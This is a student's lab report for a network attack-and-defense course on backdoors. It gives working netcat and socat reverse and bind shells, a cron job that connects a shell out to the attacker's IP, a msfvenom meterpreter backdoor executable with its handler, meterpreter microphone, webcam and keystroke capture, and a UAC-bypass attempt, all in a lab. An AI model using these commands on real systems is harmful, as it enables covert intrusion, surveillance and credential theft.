20192429马一

导航

 

20192429马一 2021-2022-2 《网络与系统攻防》实验二 后门原理与实践

一、实践目标

  1. 使用netcat获取主机操作Shell,cron启动某项任务
  2. 使用socat获取主机操作Shell, 任务计划启动
  3. 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
  4. 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
  5. 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

二、实践原理与具体步骤

2.1 netcat获取主机shell

  • netcat是一个底层工具,常与其他工具结合使用,起到后门的效果
    q5PZvt.png

2.1.1 win为攻击机 kali为靶机

  • 输入 ipconfig 查询windows主机的ip地址为: 192.168.10.4
    q5inzR.md.png

  • windows中,在ncat.exe文件目录下输入 ncat.exe -l -p 5310 启动监听

  • 在kali中反弹链接,Windows即可获取kali的shell
    q5idyt.md.png

2.1.2 kali为攻击机 win为靶机

  • 输入** ifconfig** 查询kali主机的IP地址为: 192.168.31.133
    q5iHfJ.md.png

  • 在kali中输入 nc -l -p 5310 开始监听

  • Windows反弹链接kali,即可获取Windows的shell
    q5Fipd.md.png

2.1.3 cron启动任务

21 * * * * /bin/netcat 192.168.31.133 5301 -e /bin/sh
该命令表示,在每小时的第21分钟执行后面的命令
q5F4gA.md.png


2.2 socat获取主机shell

2.2.1 创建任务

  • 新建触发器并起名,在 程序 选项中选择 socat.exe 的路径,添加参数:

tcp-listen:5301 exec:cmd.exe,pty,stderr
q5kxiD.md.png

2.2.2 等待11:41时弹出任务框

q5A8oT.md.png

2.2.3 使用kali获取win的shell

socat tcp:192.168.31.133:5301
即可获得Windows的shell
q5AqpQ.md.png


2.3 使用MSF 生成可执行文件,利用ncat传送主机并获取shell

2.3.1 使用MSF生成可执行文件

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.133 LPORT=5310 -f exe > 20192429_msfbackdoor.exe
q5EQ9e.md.png

2.3.2 将文件传输到Windows中

  • 使用ncat让靶机进入接收文件模式,并在kali将文件传输出去
    q5VZvj.md.png

2.3.3 MSF进入监听

  • 输入 msfconsole 进入MSF

use exploit/multi/handler 设置payload
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.31.133 设置ip
set LPORT 5310 设置端口
show options 查看选项
exploit 进入监听模式

  • 可以看到已经获取了主机的shell
    q5ZPy9.md.png

2.4 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

2.4.1 获取音频内容

record_mic

2.4.2 获取摄像头内容

webcam_snap

q5ZTk6.md.png

2.4.3 获取击键记录

keyscan_start 开始记录
keyscan_dump 读取记录

q5ZO6H.md.png

  • 此处提权失败,综合分析应该是windows系统UAC无法允许该程序通过,

2.5 使用MSF生成shellcode,注入并获取shell

  • Payload是包含在你用于一次漏洞利用(exploit)中的ShellCode中的主要功能代码。因为Payload是包含在ShellCode中的,ShellCode是真正的被输入到存在漏洞的程序中的,并且ShellCode负责把程序的流程最终转移到你的Payload代码中。所以对于一个漏洞来说,ShellCode就是一个用于某个漏洞的二进制代码框架,有了这个框架你可以在这个ShellCode中包含你需要的Payload来做一些事情。
  • pwn20192429文件为32位文件,可以找到合适的payload为:linux/x86/meterpreter/reverse_tcp
  • 通过查看该payload的配置进行如下配置:
    q5nmWT.md.png

use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.31.133
set LPORT 4444
exploit

  • 可以在获取到shell
    q5nQOJ.md.png

三、回答问题

3.1 例举你能想到的一个后门进入到你系统中的可能方式

  • 在非官方网站下载文件或应用时,99.9%的链接都被做过病毒处理,或者下载例如360,qq等应用时都会捆绑很多软件,而且令人痛恨得是,这些软件往往很难删除,而且装入电脑后它们会自动改名,所以很难发觉,并拖慢电脑运行效率

3.2 例举你知道的后门如何启动起来(win及linux)的方式

  • 捆绑处理,例如将自动关机捆绑某个.exe文件中,一旦打开你的电脑就会关机。

3.3 Meterpreter有哪些给你映像深刻的功能

  • 可以获取靶机的音频、摄像头、击键记录等功能。这些权限往往在获取前都需要得到管理员同意,但该程序通过后门越过权限

3.4 如何发现自己有系统有没有被安装后门

  • 利用高级杀毒软件查杀;在资源管理器中查询有无垃圾资源,或在进程管理器中查看有无怪异进程

四、问题出现与处理

4.1 可执行文件传输失败

  • windows防火墙拦截了企图获取权限的后门程序,需要我们手动允许该程序执行

4.2 提权失败

q5Ga11.png

  • 本方法参考该文在基础提权操作的基础上,使用 use exploit/windows/local/bypassuac_eventvw 进入绕过uac方法进一步提权,尽管打开了事件查看器,但任然提取失败,在查询资料后仍得不到解决方法,但在此处将方法分享,我会继续想办法解决该问题。
    q5GYtJ.png

五、实践感想

  • 通过本次实践,我深入了解了MSF的工作原理,同时加深了我对本门课程的兴趣,投入到今后的新的内容中,同时我也意识到,网络安全的严重形势刻不容缓,黑客技术让我国的网络安全变得危险,我们要更加深入得学习网络攻防技术。
posted on 2022-04-01 22:07  20192429马一  阅读(10)  评论(0编辑  收藏  举报